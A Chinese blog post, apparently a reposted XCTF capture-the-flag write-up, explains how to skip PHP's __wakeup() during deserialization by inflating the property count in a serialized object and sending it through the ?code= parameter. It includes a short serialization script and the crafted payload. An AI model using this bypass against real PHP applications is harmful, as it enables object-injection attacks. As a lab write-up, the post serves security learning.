首页 > 其他 > 详细

XCTF-反序列化中_wakeup()函数

时间:2020-05-31 23:52:06      阅读:113      评论:0      收藏:0      [点我收藏+]

跳过_wakeup()魔法函数
__wakeup(): 将在序列化之后立即被调用
漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行
技术分享图片

 

对于该题,先可以看到类xctf中有flag变量,并调用了__wakeup(),则考虑实例化xctf类并将其变量序列化。并猜测意图为将序列化结果输入在?code=后进行GET请求。
进行序列化操作

 1 <?php
 2 class xctf{
 3 public $flag = ‘111‘;
 4 pubilc function __wakeup(){
 5 exit(‘bad requests‘);
 6 }
 7 }
 8  
 9 $a = new xctf();
10 echo(serialize($a));
11 ?>

// 序列化输出结果为:
// O:4:"xctf":1:{s:4:"flag";s:3:"111";}

xctf为类名,4为字符数,1为序列化字符串中变量个数
正常结果输入时,会执行__wakeup(),从而输出‘bad requests‘,并退出脚本,因此利用漏洞绕过__wakeup()
将序列化字符串中代表变量个数的数字改为大于其真实值的数字,并进行GET请求,得到结果。
技术分享图片

 

 

 

XCTF-反序列化中_wakeup()函数

原文:https://www.cnblogs.com/zzjdbk/p/13021948.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!